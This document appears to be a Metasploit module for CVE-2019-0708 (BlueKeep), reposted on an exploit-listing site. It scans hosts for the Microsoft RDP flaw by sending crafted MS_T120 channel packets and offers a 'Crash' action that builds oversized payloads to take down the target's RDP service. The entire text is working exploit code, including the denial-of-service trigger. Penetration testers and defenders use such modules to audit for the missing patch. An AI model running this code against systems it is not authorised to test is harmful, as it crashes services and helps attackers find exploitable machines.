Share
## https://sploitus.com/exploit?id=PACKETSTORM:180946
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::RDP  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',  
'Description' => %q{  
This module checks a range of hosts for the CVE-2019-0708 vulnerability  
by binding the MS_T120 channel outside of its normal slot and sending  
non-DoS packets which respond differently on patched and vulnerable hosts.  
It can optionally trigger the DoS vulnerability.  
},  
'Author' =>  
[  
'National Cyber Security Centre', # Discovery  
'JaGoTu', # Module  
'zerosum0x0', # Module  
'Tom Sellers' # TLS support, packet documenentation, DoS implementation  
],  
'References' =>  
[  
[ 'CVE', '2019-0708' ],  
[ 'URL', 'https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],  
[ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]  
],  
'DisclosureDate' => '2019-05-14',  
'License' => MSF_LICENSE,  
'Actions' => [  
['Scan', 'Description' => 'Scan for exploitable targets'],  
['Crash', 'Description' => 'Trigger denial of service vulnerability'],  
],  
'DefaultAction' => 'Scan',  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'AKA' => ['BlueKeep']  
}  
)  
)  
end  
  
def report_goods  
report_vuln(  
host: rhost,  
port: rport,  
proto: 'tcp',  
name: name,  
info: 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',  
refs: references  
)  
end  
  
def run_host(ip)  
# Allow the run command to call the check command  
  
status = check_host(ip)  
if status == Exploit::CheckCode::Vulnerable  
print_good(status[1].to_s)  
elsif status == Exploit::CheckCode::Safe  
vprint_error(status[1].to_s)  
else  
vprint_status(status[1].to_s)  
end  
  
status  
end  
  
def rdp_reachable  
rdp_connect  
rdp_disconnect  
return true  
rescue Rex::ConnectionRefused  
return false  
rescue Rex::ConnectionTimeout  
return false  
end  
  
def check_host(_ip)  
# The check command will call this method instead of run_host  
status = Exploit::CheckCode::Unknown  
  
begin  
begin  
rdp_connect  
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError  
return Exploit::CheckCode::Safe('The target service is not running or refused our connection.')  
end  
  
status = check_rdp_vuln  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e  
bt = e.backtrace.join("\n")  
vprint_error("Unexpected error: #{e.message}")  
vprint_line(bt)  
elog(e)  
rescue RdpCommunicationError  
vprint_error('Error communicating RDP protocol.')  
status = Exploit::CheckCode::Unknown  
rescue Errno::ECONNRESET  
vprint_error('Connection reset')  
rescue StandardError => e  
bt = e.backtrace.join("\n")  
vprint_error("Unexpected error: #{e.message}")  
vprint_line(bt)  
elog(e)  
ensure  
rdp_disconnect  
end  
  
status  
end  
  
def check_for_patch  
begin  
6.times do  
_res = rdp_recv  
end  
rescue RdpCommunicationError  
# we don't care  
end  
  
# The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length  
# The arch governs which of the packets triggers the desired response  
# which is an MCS Disconnect Provider Ultimatum or a timeout.  
  
# Disconnect Provider message of a valid size for each platform  
# has proven to be safe to send as part of the vulnerability check.  
x86_string = '00000000020000000000000000000000'  
x64_string = '0000000000000000020000000000000000000000000000000000000000000000'  
  
if action.name == 'Crash'  
vprint_status('Sending denial of service payloads')  
# Length and chars are arbitrary but total length needs to be longer than  
# 16 for x86 and 32 for x64. Making the payload too long seems to cause  
# the DoS to fail. Note that sometimes the DoS seems to fail. Increasing  
# the payload size and sending more of them doesn't seem to improve the  
# reliability. It *seems* to happen more often on x64, I haven't seen it  
# fail against x86. Repeated attempts will generally trigger the DoS.  
x86_string += 'FF' * 1  
x64_string += 'FF' * 2  
else  
vprint_status('Sending patch check payloads')  
end  
  
chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST  
channel_id = [1005].pack('S>')  
x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack('H*')), channel_id)  
  
x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack('H*')), channel_id)  
  
6.times do  
rdp_send(x86_packet)  
rdp_send(x64_packet)  
  
# A single pass should be sufficient to cause DoS  
if action.name == 'Crash'  
sleep(1)  
rdp_disconnect  
  
sleep(5)  
if rdp_reachable  
print_error("Target doesn't appear to have been crashed. Consider retrying.")  
return Exploit::CheckCode::Unknown  
else  
print_good('Target service appears to have been successfully crashed.')  
return Exploit::CheckCode::Vulnerable('The target appears to have been crashed by disconnecting from an incorrectly-bound MS_T120 channel.')  
end  
end  
  
# Quick check for the Ultimatum PDU  
begin  
res = rdp_recv(-1, 1)  
rescue EOFError  
# we don't care  
end  
return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.') if res&.include?(['0300000902f0802180'].pack('H*'))  
  
# Slow check for Ultimatum PDU. If it doesn't respond in a timely  
# manner then the host is likely patched.  
begin  
4.times do  
res = rdp_recv  
# 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3  
if res.include?(['0300000902f0802180'].pack('H*'))  
return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.')  
end  
end  
rescue RdpCommunicationError  
# we don't care  
end  
end  
  
Exploit::CheckCode::Safe  
end  
  
def check_rdp_vuln  
# check if rdp is open  
is_rdp, version_info = rdp_fingerprint  
unless is_rdp  
vprint_error('Could not connect to RDP service.')  
return Exploit::CheckCode::Unknown  
end  
rdp_disconnect  
rdp_connect  
is_rdp, server_selected_proto = rdp_check_protocol  
  
requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto  
product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'  
info = "Detected RDP on #{peer} (Windows version: #{product_version})"  
  
service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}"  
info << " (#{service_info})"  
  
vprint_status(info)  
  
if requires_nla  
vprint_status('Server requires NLA (CredSSP) security which mitigates this vulnerability.')  
return Exploit::CheckCode::Safe  
end  
  
chans = [  
['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  
['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],  
['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],  
['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],  
['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],  
]  
  
success = rdp_negotiate_security(chans, server_selected_proto)  
return Exploit::CheckCode::Unknown unless success  
  
rdp_establish_session  
  
result = check_for_patch  
  
if result == Exploit::CheckCode::Vulnerable  
report_goods  
end  
  
# Can't determine, but at least we know the service is running  
result  
end  
  
end